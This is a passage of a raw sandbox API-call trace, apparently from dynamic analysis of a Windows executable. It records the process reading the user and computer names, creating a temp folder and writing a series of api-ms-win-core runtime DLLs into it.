returned 22 [0060.403] GetUserNameW (in: lpBuffer=0x18e3b4, pcbBuffer=0x18e3b0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e3b0) returned 1 [0060.404] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 20 [0060.404] GetComputerNameW (in: lpBuffer=0x18e3b4, nSize=0x18e3b0 | out: lpBuffer="XDUWTFONO", nSize=0x18e3b0) returned 1 [0060.405] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 9 [0060.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985cd4, cbMultiByte=8, lpWideCharStr=0x18d5fc, cchWideChar=2047 | out: lpWideCharStr="FF335045") returned 8 [0060.405] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\FF335045\\", lpDst=0x692d44, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\") returned 0x2f [0060.406] SysReAllocStringLen (in: pbstr=0x41c7c0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\", len=0x2e | out: pbstr=0x41c7c0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\") returned 1 [0060.406] CreateDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045"), lpSecurityAttributes=0x0) returned 1 [0060.407] VirtualAlloc (lpAddress=0x452c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x452c000 [0060.408] VirtualAlloc (lpAddress=0x4534000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4534000 [0060.408] VirtualAlloc (lpAddress=0x453c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x453c000 [0060.409] VirtualAlloc (lpAddress=0x4544000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4544000 [0060.410] VirtualAlloc (lpAddress=0x454c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x454c000 [0060.410] VirtualFree (lpAddress=0x4548000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.411] VirtualAlloc (lpAddress=0x4554000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4554000 [0060.411] VirtualAlloc (lpAddress=0x455c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x455c000 [0060.412] VirtualAlloc (lpAddress=0x4564000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4564000 [0060.412] VirtualAlloc (lpAddress=0x456c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x456c000 [0060.413] VirtualFree (lpAddress=0x4568000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.413] VirtualAlloc (lpAddress=0x4574000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4574000 [0060.414] VirtualAlloc (lpAddress=0x457c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x457c000 [0060.415] VirtualAlloc (lpAddress=0x4584000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4584000 [0060.415] VirtualAlloc (lpAddress=0x3988000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3988000 [0060.416] VirtualAlloc (lpAddress=0x39d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39d0000 [0060.416] VirtualAlloc (lpAddress=0x39d8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39d8000 [0060.417] VirtualAlloc (lpAddress=0x39e0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39e0000 [0060.418] VirtualAlloc (lpAddress=0x39e8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39e8000 [0060.418] VirtualAlloc (lpAddress=0x39f0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39f0000 [0060.419] VirtualAlloc (lpAddress=0x39f8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x39f8000 [0060.420] VirtualAlloc (lpAddress=0x3a00000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a00000 [0060.420] VirtualAlloc (lpAddress=0x3a08000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a08000 [0060.421] VirtualAlloc (lpAddress=0x3a10000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a10000 [0060.422] VirtualAlloc (lpAddress=0x3a24000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a24000 [0060.423] VirtualAlloc (lpAddress=0x3a2c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a2c000 [0060.423] VirtualAlloc (lpAddress=0x3a34000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a34000 [0060.424] VirtualFree (lpAddress=0x3a30000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.424] VirtualAlloc (lpAddress=0x3a3c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a3c000 [0060.425] VirtualAlloc (lpAddress=0x3a44000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a44000 [0060.430] VirtualAlloc (lpAddress=0x3a98000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a98000 [0060.433] VirtualAlloc (lpAddress=0x3abc000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x3abc000 [0060.434] VirtualFree (lpAddress=0x3ab8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.485] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-console-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-console-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.486] VirtualAlloc (lpAddress=0x46a4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x46a4000 [0060.486] WriteFile (in: hFile=0xe8, lpBuffer=0x46a29d4*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x46a29d4*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.488] CloseHandle (hObject=0xe8) returned 1 [0060.496] VirtualFree (lpAddress=0x46a4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.497] VirtualAlloc (lpAddress=0x46a4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x46a4000 [0060.497] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x46a29d4, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-datetime-l1-1-0.dll35045") returned 35 [0060.497] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-datetime-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-datetime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.498] WriteFile (in: hFile=0xe8, lpBuffer=0x46a714c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x46a714c*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.499] CloseHandle (hObject=0xe8) returned 1 [0060.500] VirtualFree (lpAddress=0x46a8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.500] VirtualAlloc (lpAddress=0x46a8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x46a8000 [0060.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2334ca0, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-debug-l1-1-0.dlldll35045") returned 32 [0060.501] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-debug-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-debug-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.506] WriteFile (in: hFile=0xe8, lpBuffer=0x46ab894*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x46ab894*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.507] CloseHandle (hObject=0xe8) returned 1 [0060.508] VirtualFree (lpAddress=0x46ac000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.508] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.509] VirtualFree (lpAddress=0x46a4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x46a29d4, cbMultiByte=40, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-errorhandling-l1-1-0.dll") returned 40 [0060.509] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-errorhandling-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-errorhandling-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.510] WriteFile (in: hFile=0xe8, lpBuffer=0x23393e8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23393e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.511] CloseHandle (hObject=0xe8) returned 1 [0060.512] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.512] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23393e8, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-1-0.dll1-1-0.dll") returned 31 [0060.512] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.513] WriteFile (in: hFile=0xe8, lpBuffer=0x233e95c*, nNumberOfBytesToWrite=0x5538, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233e95c*, lpNumberOfBytesWritten=0x18e5c4*=0x5538, lpOverlapped=0x0) returned 1 [0060.514] CloseHandle (hObject=0xe8) returned 1 [0060.515] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.515] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233e95c, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-2-0.dll1-1-0.dll") returned 31 [0060.515] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.516] WriteFile (in: hFile=0xe8, lpBuffer=0x23393e8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23393e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.517] CloseHandle (hObject=0xe8) returned 1 [0060.517] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.518] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.518] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23393e8, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l2-1-0.dll1-1-0.dll") returned 31 [0060.518] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.519] WriteFile (in: hFile=0xe8, lpBuffer=0x233db5c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233db5c*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.520] CloseHandle (hObject=0xe8) returned 1 [0060.521] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.521] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233db5c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-handle-l1-1-0.dll1-0.dll") returned 33 [0060.521] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-handle-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-handle-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.522] WriteFile (in: hFile=0xe8, lpBuffer=0x23393e8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23393e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.523] CloseHandle (hObject=0xe8) returned 1 [0060.523] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.524] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23393e8, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-heap-l1-1-0.dllll1-0.dll") returned 31 [0060.524] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-heap-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.525] WriteFile (in: hFile=0xe8, lpBuffer=0x233db5c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233db5c*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.526] CloseHandle (hObject=0xe8) returned 1 [0060.527] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233db5c, cbMultiByte=38, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-interlocked-l1-1-0.dllll") returned 38 [0060.527] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-interlocked-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-interlocked-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.527] WriteFile (in: hFile=0xe8, lpBuffer=0x2339270*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2339270*, lpNumberOfBytesWritten=0x18e5c4*=0x45c0, lpOverlapped=0x0) returned 1 [0060.528] CloseHandle (hObject=0xe8) returned 1 [0060.529] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.529] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2339270, cbMultiByte=40, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-libraryloader-l1-1-0.dll") returned 40 [0060.530] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-libraryloader-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-libraryloader-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.531] WriteFile (in: hFile=0xe8, lpBuffer=0x233dbf0*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233dbf0*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.532] CloseHandle (hObject=0xe8) returned 1 [0060.532] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.533] VirtualAlloc (lpAddress=0x2340000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000 [0060.533] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.533] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233dbf0, cbMultiByte=39, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-localization-l1-2-0.dlll") returned 39 [0060.534] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.534] WriteFile (in: hFile=0xe8, lpBuffer=0x2342d6c*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2342d6c*, lpNumberOfBytesWritten=0x18e5c4*=0x5138, lpOverlapped=0x0) returned 1 [0060.535] CloseHandle (hObject=0xe8) returned 1 [0060.536] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.536] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.537] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2342d6c, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-memory-l1-1-0.dll-0.dlll") returned 33 [0060.537] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-memory-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-memory-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.538] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.538] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.538] WriteFile (in: hFile=0xe8, lpBuffer=0x2334ca0*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2334ca0*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.539] CloseHandle (hObject=0xe8) returned 1 [0060.540] VirtualFree (lpAddress=0x2338000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0060.540] VirtualAlloc (lpAddress=0x2338000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2338000 [0060.541] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.541] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x234000c, cbMultiByte=36, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-namedpipe-l1-1-0.dlldlll") returned 36 [0060.541] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-namedpipe-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-namedpipe-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.542] WriteFile (in: hFile=0xe8, lpBuffer=0x23393e8*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23393e8*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0060.543] CloseHandle (hObject=0xe8) returned 1 [0060.543] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.544] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.544] VirtualAlloc (lpAddress=0x233c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x233c000 [0060.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x23393e8, cbMultiByte=45, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processenvironment-l1-1-0.dll") returned 45 [0060.545] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processenvironment-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processenvironment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.545] WriteFile (in: hFile=0xe8, lpBuffer=0x233df64*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x233df64*, lpNumberOfBytesWritten=0x18e5c4*=0x4b30, lpOverlapped=0x0) returned 1 [0060.546] CloseHandle (hObject=0xe8) returned 1 [0060.547] VirtualFree (lpAddress=0x2340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.547] VirtualAlloc (lpAddress=0x2340000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000 [0060.547] VirtualFree (lpAddress=0x2338000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x233df64, cbMultiByte=41, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-0.dll.dll") returned 41 [0060.548] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processthreads-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processthreads-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.552] WriteFile (in: hFile=0xe8, lpBuffer=0x2342b6c*, nNumberOfBytesToWrite=0x4bc0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x2342b6c*, lpNumberOfBytesWritten=0x18e5c4*=0x4bc0, lpOverlapped=0x0) returned 1 [0060.553] CloseHandle (hObject=0xe8) returned 1 [0060.554] VirtualFree (lpAddress=0x2344000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.554] VirtualAlloc (lpAddress=0x2344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x2344000 [0060.554] VirtualFree (lpAddress=0x233c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2342b6c, cbMultiByte=41, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-processthreads-l1-1-1.dll.dll") returned 41 [0060.555] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0060.555] WriteFile (in: hFile=0xe8, lpBuffer=0x23474ec*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x23474ec*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0060.556] CloseHandle (hObject=0xe8) returned 1 [0060.557] VirtualFree (lpAddress=0x2348000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0060.557] VirtualAlloc (lpAddress=0x2348000, 